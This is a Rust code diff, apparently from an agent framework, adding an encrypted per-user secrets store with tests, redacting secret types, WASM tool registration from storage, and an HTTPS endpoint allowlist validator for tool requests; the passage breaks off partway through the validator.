secrets: RwLock::new(HashMap::new()),
|
||||||
|
crypto,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl SecretsStore for InMemorySecretsStore {
|
||||||
|
async fn create(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
params: CreateSecretParams,
|
||||||
|
) -> Result<Secret, SecretError> {
|
||||||
|
let plaintext = params.value.expose_secret().as_bytes();
|
||||||
|
let (encrypted_value, key_salt) = self.crypto.encrypt(plaintext)?;
|
||||||
|
|
||||||
|
let now = Utc::now();
|
||||||
|
let secret = Secret {
|
||||||
|
id: Uuid::new_v4(),
|
||||||
|
user_id: user_id.to_string(),
|
||||||
|
name: params.name.clone(),
|
||||||
|
encrypted_value,
|
||||||
|
key_salt,
|
||||||
|
provider: params.provider,
|
||||||
|
expires_at: params.expires_at,
|
||||||
|
last_used_at: None,
|
||||||
|
usage_count: 0,
|
||||||
|
created_at: now,
|
||||||
|
updated_at: now,
|
||||||
|
};
|
||||||
|
|
||||||
|
self.secrets
|
||||||
|
.write()
|
||||||
|
.await
|
||||||
|
.insert((user_id.to_string(), params.name), secret.clone());
|
||||||
|
Ok(secret)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get(&self, user_id: &str, name: &str) -> Result<Secret, SecretError> {
|
||||||
|
self.secrets
|
||||||
|
.read()
|
||||||
|
.await
|
||||||
|
.get(&(user_id.to_string(), name.to_string()))
|
||||||
|
.cloned()
|
||||||
|
.ok_or_else(|| SecretError::NotFound(name.to_string()))
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get_decrypted(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
) -> Result<DecryptedSecret, SecretError> {
|
||||||
|
let secret = self.get(user_id, name).await?;
|
||||||
|
self.crypto
|
||||||
|
.decrypt(&secret.encrypted_value, &secret.key_salt)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn exists(&self, user_id: &str, name: &str) -> Result<bool, SecretError> {
|
||||||
|
Ok(self
|
||||||
|
.secrets
|
||||||
|
.read()
|
||||||
|
.await
|
||||||
|
.contains_key(&(user_id.to_string(), name.to_string())))
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn list(&self, user_id: &str) -> Result<Vec<SecretRef>, SecretError> {
|
||||||
|
Ok(self
|
||||||
|
.secrets
|
||||||
|
.read()
|
||||||
|
.await
|
||||||
|
.iter()
|
||||||
|
.filter(|((uid, _), _)| uid == user_id)
|
||||||
|
.map(|((_, _), s)| SecretRef {
|
||||||
|
name: s.name.clone(),
|
||||||
|
provider: s.provider.clone(),
|
||||||
|
})
|
||||||
|
.collect())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, SecretError> {
|
||||||
|
Ok(self
|
||||||
|
.secrets
|
||||||
|
.write()
|
||||||
|
.await
|
||||||
|
.remove(&(user_id.to_string(), name.to_string()))
|
||||||
|
.is_some())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn record_usage(&self, _secret_id: Uuid) -> Result<(), SecretError> {
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn is_accessible(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
secret_name: &str,
|
||||||
|
allowed_secrets: &[String],
|
||||||
|
) -> Result<bool, SecretError> {
|
||||||
|
if !self.exists(user_id, secret_name).await? {
|
||||||
|
return Ok(false);
|
||||||
|
}
|
||||||
|
for pattern in allowed_secrets {
|
||||||
|
if pattern == secret_name {
|
||||||
|
return Ok(true);
|
||||||
|
}
|
||||||
|
if let Some(prefix) = pattern.strip_suffix('*') {
|
||||||
|
if secret_name.starts_with(prefix) {
|
||||||
|
return Ok(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use secrecy::SecretString;
|
||||||
|
|
||||||
|
use crate::secrets::crypto::SecretsCrypto;
|
||||||
|
use crate::secrets::store::SecretsStore;
|
||||||
|
use crate::secrets::store::testing::InMemorySecretsStore;
|
||||||
|
use crate::secrets::types::CreateSecretParams;
|
||||||
|
|
||||||
|
fn test_store() -> InMemorySecretsStore {
|
||||||
|
let key = "0123456789abcdef0123456789abcdef";
|
||||||
|
let crypto = Arc::new(SecretsCrypto::new(SecretString::from(key.to_string())).unwrap());
|
||||||
|
InMemorySecretsStore::new(crypto)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_create_and_get() {
|
||||||
|
let store = test_store();
|
||||||
|
let params = CreateSecretParams::new("api_key", "sk-test-12345");
|
||||||
|
|
||||||
|
store.create("user1", params).await.unwrap();
|
||||||
|
|
||||||
|
let decrypted = store.get_decrypted("user1", "api_key").await.unwrap();
|
||||||
|
assert_eq!(decrypted.expose(), "sk-test-12345");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_exists() {
|
||||||
|
let store = test_store();
|
||||||
|
let params = CreateSecretParams::new("my_secret", "value");
|
||||||
|
|
||||||
|
assert!(!store.exists("user1", "my_secret").await.unwrap());
|
||||||
|
store.create("user1", params).await.unwrap();
|
||||||
|
assert!(store.exists("user1", "my_secret").await.unwrap());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_delete() {
|
||||||
|
let store = test_store();
|
||||||
|
let params = CreateSecretParams::new("to_delete", "value");
|
||||||
|
|
||||||
|
store.create("user1", params).await.unwrap();
|
||||||
|
assert!(store.exists("user1", "to_delete").await.unwrap());
|
||||||
|
|
||||||
|
store.delete("user1", "to_delete").await.unwrap();
|
||||||
|
assert!(!store.exists("user1", "to_delete").await.unwrap());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_list() {
|
||||||
|
let store = test_store();
|
||||||
|
|
||||||
|
store
|
||||||
|
.create("user1", CreateSecretParams::new("key1", "v1"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
store
|
||||||
|
.create(
|
||||||
|
"user1",
|
||||||
|
CreateSecretParams::new("key2", "v2").with_provider("openai"),
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
store
|
||||||
|
.create("user2", CreateSecretParams::new("key3", "v3"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let list = store.list("user1").await.unwrap();
|
||||||
|
assert_eq!(list.len(), 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_is_accessible() {
|
||||||
|
let store = test_store();
|
||||||
|
store
|
||||||
|
.create("user1", CreateSecretParams::new("openai_key", "sk-test"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
store
|
||||||
|
.create("user1", CreateSecretParams::new("stripe_key", "sk-live"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
// Exact match
|
||||||
|
let allowed = vec!["openai_key".to_string()];
|
||||||
|
assert!(
|
||||||
|
store
|
||||||
|
.is_accessible("user1", "openai_key", &allowed)
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!store
|
||||||
|
.is_accessible("user1", "stripe_key", &allowed)
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
|
);
|
||||||
|
|
||||||
|
// Glob pattern
|
||||||
|
let allowed = vec!["openai_*".to_string()];
|
||||||
|
assert!(
|
||||||
|
store
|
||||||
|
.is_accessible("user1", "openai_key", &allowed)
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!store
|
||||||
|
.is_accessible("user1", "stripe_key", &allowed)
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_user_isolation() {
|
||||||
|
let store = test_store();
|
||||||
|
|
||||||
|
store
|
||||||
|
.create(
|
||||||
|
"user1",
|
||||||
|
CreateSecretParams::new("shared_name", "user1_value"),
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
store
|
||||||
|
.create(
|
||||||
|
"user2",
|
||||||
|
CreateSecretParams::new("shared_name", "user2_value"),
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let v1 = store.get_decrypted("user1", "shared_name").await.unwrap();
|
||||||
|
let v2 = store.get_decrypted("user2", "shared_name").await.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(v1.expose(), "user1_value");
|
||||||
|
assert_eq!(v2.expose(), "user2_value");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,281 @@
|
|||||||
|
//! Secret types for credential management.
|
||||||
|
//!
|
||||||
|
//! WASM tools NEVER see plaintext secrets. This module provides types
|
||||||
|
//! for secure storage and reference without exposing actual values.
|
||||||
|
|
||||||
|
use std::fmt;
|
||||||
|
|
||||||
|
use chrono::{DateTime, Utc};
|
||||||
|
use secrecy::{ExposeSecret, SecretString};
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use uuid::Uuid;
|
||||||
|
|
||||||
|
/// A stored secret with encrypted value.
|
||||||
|
///
|
||||||
|
/// The plaintext is never stored; only the encrypted form exists in the database.
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct Secret {
|
||||||
|
pub id: Uuid,
|
||||||
|
pub user_id: String,
|
||||||
|
pub name: String,
|
||||||
|
/// AES-256-GCM encrypted value (nonce || ciphertext || tag).
|
||||||
|
pub encrypted_value: Vec<u8>,
|
||||||
|
/// Per-secret salt for key derivation.
|
||||||
|
pub key_salt: Vec<u8>,
|
||||||
|
/// Optional provider hint (e.g., "openai", "stripe").
|
||||||
|
pub provider: Option<String>,
|
||||||
|
/// When this secret expires (None = never).
|
||||||
|
pub expires_at: Option<DateTime<Utc>>,
|
||||||
|
/// Last time this secret was used for injection.
|
||||||
|
pub last_used_at: Option<DateTime<Utc>>,
|
||||||
|
/// Total number of times this secret has been used.
|
||||||
|
pub usage_count: i64,
|
||||||
|
pub created_at: DateTime<Utc>,
|
||||||
|
pub updated_at: DateTime<Utc>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Debug for Secret {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
f.debug_struct("Secret")
|
||||||
|
.field("id", &self.id)
|
||||||
|
.field("user_id", &self.user_id)
|
||||||
|
.field("name", &self.name)
|
||||||
|
.field("encrypted_value", &"[REDACTED]")
|
||||||
|
.field("key_salt", &"[REDACTED]")
|
||||||
|
.field("provider", &self.provider)
|
||||||
|
.field("expires_at", &self.expires_at)
|
||||||
|
.field("last_used_at", &self.last_used_at)
|
||||||
|
.field("usage_count", &self.usage_count)
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A reference to a secret by name, without exposing the value.
|
||||||
|
///
|
||||||
|
/// WASM tools receive these references and can check if secrets exist,
|
||||||
|
/// but they cannot read the actual values.
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct SecretRef {
|
||||||
|
pub name: String,
|
||||||
|
pub provider: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SecretRef {
|
||||||
|
pub fn new(name: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
name: name.into(),
|
||||||
|
provider: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn with_provider(mut self, provider: impl Into<String>) -> Self {
|
||||||
|
self.provider = Some(provider.into());
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A decrypted secret value, held in secure memory.
|
||||||
|
///
|
||||||
|
/// This type:
|
||||||
|
/// - Zeros memory on drop
|
||||||
|
/// - Never appears in Debug output
|
||||||
|
/// - Only exists briefly during credential injection
|
||||||
|
pub struct DecryptedSecret {
|
||||||
|
value: SecretString,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl DecryptedSecret {
|
||||||
|
/// Create a new decrypted secret from raw bytes.
|
||||||
|
///
|
||||||
|
/// The bytes are converted to a UTF-8 string. For binary secrets,
|
||||||
|
/// consider base64 encoding before storage.
|
||||||
|
pub fn from_bytes(bytes: Vec<u8>) -> Result<Self, SecretError> {
|
||||||
|
// Convert to string, then wrap in SecretString
|
||||||
|
let s = String::from_utf8(bytes).map_err(|_| SecretError::InvalidUtf8)?;
|
||||||
|
Ok(Self {
|
||||||
|
value: SecretString::from(s),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Expose the secret value for injection.
|
||||||
|
///
|
||||||
|
/// This is the ONLY way to access the plaintext. Use sparingly
|
||||||
|
/// and ensure the exposed value isn't logged or persisted.
|
||||||
|
pub fn expose(&self) -> &str {
|
||||||
|
self.value.expose_secret()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the length of the secret without exposing it.
|
||||||
|
pub fn len(&self) -> usize {
|
||||||
|
self.value.expose_secret().len()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if the secret is empty.
|
||||||
|
pub fn is_empty(&self) -> bool {
|
||||||
|
self.len() == 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Debug for DecryptedSecret {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
write!(f, "DecryptedSecret([REDACTED, {} bytes])", self.len())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Clone for DecryptedSecret {
|
||||||
|
fn clone(&self) -> Self {
|
||||||
|
Self {
|
||||||
|
value: SecretString::from(self.value.expose_secret().to_string()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Errors that can occur during secret operations.
|
||||||
|
#[derive(Debug, Clone, thiserror::Error)]
|
||||||
|
pub enum SecretError {
|
||||||
|
#[error("Secret not found: {0}")]
|
||||||
|
NotFound(String),
|
||||||
|
|
||||||
|
#[error("Secret has expired")]
|
||||||
|
Expired,
|
||||||
|
|
||||||
|
#[error("Decryption failed: {0}")]
|
||||||
|
DecryptionFailed(String),
|
||||||
|
|
||||||
|
#[error("Encryption failed: {0}")]
|
||||||
|
EncryptionFailed(String),
|
||||||
|
|
||||||
|
#[error("Invalid master key")]
|
||||||
|
InvalidMasterKey,
|
||||||
|
|
||||||
|
#[error("Secret value is not valid UTF-8")]
|
||||||
|
InvalidUtf8,
|
||||||
|
|
||||||
|
#[error("Database error: {0}")]
|
||||||
|
Database(String),
|
||||||
|
|
||||||
|
#[error("Secret access denied for tool")]
|
||||||
|
AccessDenied,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parameters for creating a new secret.
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct CreateSecretParams {
|
||||||
|
pub name: String,
|
||||||
|
pub value: SecretString,
|
||||||
|
pub provider: Option<String>,
|
||||||
|
pub expires_at: Option<DateTime<Utc>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl CreateSecretParams {
|
||||||
|
pub fn new(name: impl Into<String>, value: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
name: name.into(),
|
||||||
|
value: SecretString::from(value.into()),
|
||||||
|
provider: None,
|
||||||
|
expires_at: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn with_provider(mut self, provider: impl Into<String>) -> Self {
|
||||||
|
self.provider = Some(provider.into());
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn with_expiry(mut self, expires_at: DateTime<Utc>) -> Self {
|
||||||
|
self.expires_at = Some(expires_at);
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Where a credential should be injected in an HTTP request.
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub enum CredentialLocation {
|
||||||
|
/// Inject as Authorization header (e.g., "Bearer {secret}")
|
||||||
|
AuthorizationBearer,
|
||||||
|
/// Inject as Authorization header with Basic auth
|
||||||
|
AuthorizationBasic { username: String },
|
||||||
|
/// Inject as a custom header
|
||||||
|
Header {
|
||||||
|
name: String,
|
||||||
|
prefix: Option<String>,
|
||||||
|
},
|
||||||
|
/// Inject as a query parameter
|
||||||
|
QueryParam { name: String },
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for CredentialLocation {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self::AuthorizationBearer
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Mapping from a secret name to where it should be injected.
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct CredentialMapping {
|
||||||
|
/// Name of the secret to use.
|
||||||
|
pub secret_name: String,
|
||||||
|
/// Where to inject the credential.
|
||||||
|
pub location: CredentialLocation,
|
||||||
|
/// Host patterns this credential applies to (glob syntax).
|
||||||
|
pub host_patterns: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl CredentialMapping {
|
||||||
|
pub fn bearer(secret_name: impl Into<String>, host_pattern: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
secret_name: secret_name.into(),
|
||||||
|
location: CredentialLocation::AuthorizationBearer,
|
||||||
|
host_patterns: vec![host_pattern.into()],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn header(
|
||||||
|
secret_name: impl Into<String>,
|
||||||
|
header_name: impl Into<String>,
|
||||||
|
host_pattern: impl Into<String>,
|
||||||
|
) -> Self {
|
||||||
|
Self {
|
||||||
|
secret_name: secret_name.into(),
|
||||||
|
location: CredentialLocation::Header {
|
||||||
|
name: header_name.into(),
|
||||||
|
prefix: None,
|
||||||
|
},
|
||||||
|
host_patterns: vec![host_pattern.into()],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::secrets::types::{CreateSecretParams, DecryptedSecret, SecretRef};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_secret_ref_creation() {
|
||||||
|
let r = SecretRef::new("my_api_key").with_provider("openai");
|
||||||
|
assert_eq!(r.name, "my_api_key");
|
||||||
|
assert_eq!(r.provider, Some("openai".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_decrypted_secret_redaction() {
|
||||||
|
let secret = DecryptedSecret::from_bytes(b"super_secret_value".to_vec()).unwrap();
|
||||||
|
let debug_str = format!("{:?}", secret);
|
||||||
|
assert!(!debug_str.contains("super_secret_value"));
|
||||||
|
assert!(debug_str.contains("REDACTED"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_decrypted_secret_expose() {
|
||||||
|
let secret = DecryptedSecret::from_bytes(b"test_value".to_vec()).unwrap();
|
||||||
|
assert_eq!(secret.expose(), "test_value");
|
||||||
|
assert_eq!(secret.len(), 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_create_params() {
|
||||||
|
let params = CreateSecretParams::new("key", "value").with_provider("stripe");
|
||||||
|
assert_eq!(params.name, "key");
|
||||||
|
assert_eq!(params.provider, Some("stripe".to_string()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+73
-1
@@ -9,7 +9,8 @@ use crate::llm::ToolDefinition;
|
|||||||
use crate::tools::builtin::{EchoTool, HttpTool, JsonTool, TimeTool};
|
use crate::tools::builtin::{EchoTool, HttpTool, JsonTool, TimeTool};
|
||||||
use crate::tools::tool::Tool;
|
use crate::tools::tool::Tool;
|
||||||
use crate::tools::wasm::{
|
use crate::tools::wasm::{
|
||||||
Capabilities, ResourceLimits, WasmError, WasmToolRuntime, WasmToolWrapper,
|
Capabilities, ResourceLimits, WasmError, WasmStorageError, WasmToolRuntime, WasmToolStore,
|
||||||
|
WasmToolWrapper,
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Registry of available tools.
|
/// Registry of available tools.
|
||||||
@@ -152,6 +153,77 @@ impl ToolRegistry {
|
|||||||
tracing::info!(name = reg.name, "Registered WASM tool");
|
tracing::info!(name = reg.name, "Registered WASM tool");
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Register a WASM tool from database storage.
|
||||||
|
///
|
||||||
|
/// Loads the WASM binary with integrity verification and configures capabilities.
|
||||||
|
///
|
||||||
|
/// # Example
|
||||||
|
///
|
||||||
|
/// ```ignore
|
||||||
|
/// let store = PostgresWasmToolStore::new(pool);
|
||||||
|
/// let runtime = Arc::new(WasmToolRuntime::new(WasmRuntimeConfig::default())?);
|
||||||
|
///
|
||||||
|
/// registry.register_wasm_from_storage(
|
||||||
|
/// &store,
|
||||||
|
/// &runtime,
|
||||||
|
/// "user_123",
|
||||||
|
/// "my_tool",
|
||||||
|
/// ).await?;
|
||||||
|
/// ```
|
||||||
|
pub async fn register_wasm_from_storage(
|
||||||
|
&self,
|
||||||
|
store: &dyn WasmToolStore,
|
||||||
|
runtime: &Arc<WasmToolRuntime>,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
) -> Result<(), WasmRegistrationError> {
|
||||||
|
// Load tool with integrity verification
|
||||||
|
let tool_with_binary = store
|
||||||
|
.get_with_binary(user_id, name)
|
||||||
|
.await
|
||||||
|
.map_err(WasmRegistrationError::Storage)?;
|
||||||
|
|
||||||
|
// Load capabilities
|
||||||
|
let stored_caps = store
|
||||||
|
.get_capabilities(tool_with_binary.tool.id)
|
||||||
|
.await
|
||||||
|
.map_err(WasmRegistrationError::Storage)?;
|
||||||
|
|
||||||
|
let capabilities = stored_caps.map(|c| c.to_capabilities()).unwrap_or_default();
|
||||||
|
|
||||||
|
// Register the tool
|
||||||
|
self.register_wasm(WasmToolRegistration {
|
||||||
|
name: &tool_with_binary.tool.name,
|
||||||
|
wasm_bytes: &tool_with_binary.wasm_binary,
|
||||||
|
runtime,
|
||||||
|
capabilities,
|
||||||
|
limits: None,
|
||||||
|
description: Some(&tool_with_binary.tool.description),
|
||||||
|
schema: Some(tool_with_binary.tool.parameters_schema.clone()),
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(WasmRegistrationError::Wasm)?;
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
name = tool_with_binary.tool.name,
|
||||||
|
user_id = user_id,
|
||||||
|
trust_level = %tool_with_binary.tool.trust_level,
|
||||||
|
"Registered WASM tool from storage"
|
||||||
|
);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Error when registering a WASM tool from storage.
|
||||||
|
#[derive(Debug, thiserror::Error)]
|
||||||
|
pub enum WasmRegistrationError {
|
||||||
|
#[error("Storage error: {0}")]
|
||||||
|
Storage(#[from] WasmStorageError),
|
||||||
|
|
||||||
|
#[error("WASM error: {0}")]
|
||||||
|
Wasm(#[from] WasmError),
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Configuration for registering a WASM tool.
|
/// Configuration for registering a WASM tool.
|
||||||
|
|||||||
@@ -0,0 +1,357 @@
|
|||||||
|
//! HTTP endpoint allowlist validation.
|
||||||
|
//!
|
||||||
|
//! Validates that HTTP requests from WASM tools only go to allowed endpoints.
|
||||||
|
//! This is the first line of defense against unauthorized API access.
|
||||||
|
//!
|
||||||
|
//! # Validation Flow
|
||||||
|
//!
|
||||||
|
//! ```text
|
||||||
|
//! WASM HTTP request ──► Parse URL ──► Check allowlist ──► Allow/Deny
|
||||||
|
//! │ │
|
||||||
|
//! │ ├─► Host match?
|
||||||
|
//! │ ├─► Path prefix match?
|
||||||
|
//! │ └─► Method allowed?
|
||||||
|
//! │
|
||||||
|
//! └─► Validate URL format
|
||||||
|
//! ```
|
||||||
|
|
||||||
|
use std::fmt;
|
||||||
|
|
||||||
|
use crate::tools::wasm::capabilities::EndpointPattern;
|
||||||
|
|
||||||
|
/// Result of allowlist validation.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum AllowlistResult {
|
||||||
|
/// Request is allowed.
|
||||||
|
Allowed,
|
||||||
|
/// Request is denied with reason.
|
||||||
|
Denied(DenyReason),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AllowlistResult {
|
||||||
|
pub fn is_allowed(&self) -> bool {
|
||||||
|
matches!(self, AllowlistResult::Allowed)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Reason why a request was denied.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum DenyReason {
|
||||||
|
/// URL could not be parsed.
|
||||||
|
InvalidUrl(String),
|
||||||
|
/// Host is not in the allowlist.
|
||||||
|
HostNotAllowed(String),
|
||||||
|
/// Path does not match any allowed prefix.
|
||||||
|
PathNotAllowed { host: String, path: String },
|
||||||
|
/// HTTP method is not allowed for this endpoint.
|
||||||
|
MethodNotAllowed { method: String, host: String },
|
||||||
|
/// Allowlist is empty (no endpoints configured).
|
||||||
|
EmptyAllowlist,
|
||||||
|
/// URL scheme is not HTTPS.
|
||||||
|
InsecureScheme(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for DenyReason {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
match self {
|
||||||
|
DenyReason::InvalidUrl(url) => write!(f, "Invalid URL: {}", url),
|
||||||
|
DenyReason::HostNotAllowed(host) => write!(f, "Host not in allowlist: {}", host),
|
||||||
|
DenyReason::PathNotAllowed { host, path } => {
|
||||||
|
write!(f, "Path not allowed for host {}: {}", host, path)
|
||||||
|
}
|
||||||
|
DenyReason::MethodNotAllowed { method, host } => {
|
||||||
|
write!(f, "Method {} not allowed for host {}", method, host)
|
||||||
|
}
|
||||||
|
DenyReason::EmptyAllowlist => write!(f, "No endpoints in allowlist"),
|
||||||
|
DenyReason::InsecureScheme(scheme) => {
|
||||||
|
write!(f, "Insecure scheme: {} (only HTTPS allowed)", scheme)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Validates HTTP requests against an allowlist.
|
||||||
|
pub struct AllowlistValidator {
|
||||||
|
patterns: Vec<EndpointPattern>,
|
||||||
|
/// Whether to require HTTPS (default: true).
|
||||||
|
require_https: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AllowlistValidator {
|
||||||
|
/// Create a new validator with the given patterns.
|
||||||
|
pub fn new(patterns: Vec<EndpointPattern>) -> Self {
|
||||||
|
Self {
|
||||||
|
patterns,
|
||||||
|
require_https: true,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Allow HTTP (insecure) requests. Use with caution.
|
||||||
|
pub fn allow_http(mut self) -> Self {
|
||||||
|
self.require_https = false;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if a request is allowed.
|
||||||
|
pub fn validate(&self, url: &str, method: &str) -> AllowlistResult {
|
||||||
|
// Check for empty allowlist
|
||||||
|
if self.patterns.is_empty() {
|
||||||
|
return AllowlistResult::Denied(DenyReason::EmptyAllowlist);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse the URL
|
||||||
|
let parsed = match parse_url(url) {
|
||||||
|
Ok(p) => p,
|
||||||
|
Err(e) => return AllowlistResult::Denied(DenyReason::InvalidUrl(e)),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Check HTTPS requirement
|
||||||
|
if self.require_https && parsed.scheme != "https" {
|
||||||
|
return AllowlistResult::Denied(DenyReason::InsecureScheme(parsed.scheme.clone()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Find a matching pattern
|
||||||
|
for pattern in &self.patterns {
|
||||||
|
if pattern.matches(&parsed.host, &parsed.path, method) {
|
||||||
|
return AllowlistResult::Allowed;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// No pattern matched, figure out why for better error messages
|
||||||
|
let host_matches: Vec<_> = self
|
||||||
|
.patterns
|
||||||
|
.iter()
|
||||||
|
.filter(|p| p.host_matches(&parsed.host))
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
if host_matches.is_empty() {
|
||||||
|
AllowlistResult::Denied(DenyReason::HostNotAllowed(parsed.host))
|
||||||
|
} else {
|
||||||
|
// Host matches but path/method doesn't
|
||||||
|
let path_matches: Vec<_> = host_matches
|
||||||
|
.iter()
|
||||||
|
.filter(|p| {
|
||||||
|
p.path_prefix.is_none()
|
||||||
|
|| parsed
|
||||||
|
.path
|
||||||
|
.starts_with(p.path_prefix.as_deref().unwrap_or(""))
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
if path_matches.is_empty() {
|
||||||
|
AllowlistResult::Denied(DenyReason::PathNotAllowed {
|
||||||
|
host: parsed.host,
|
||||||
|
path: parsed.path,
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
AllowlistResult::Denied(DenyReason::MethodNotAllowed {
|
||||||
|
method: method.to_string(),
|
||||||
|
host: parsed.host,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if any pattern would allow this host.
|
||||||
|
pub fn host_allowed(&self, host: &str) -> bool {
|
||||||
|
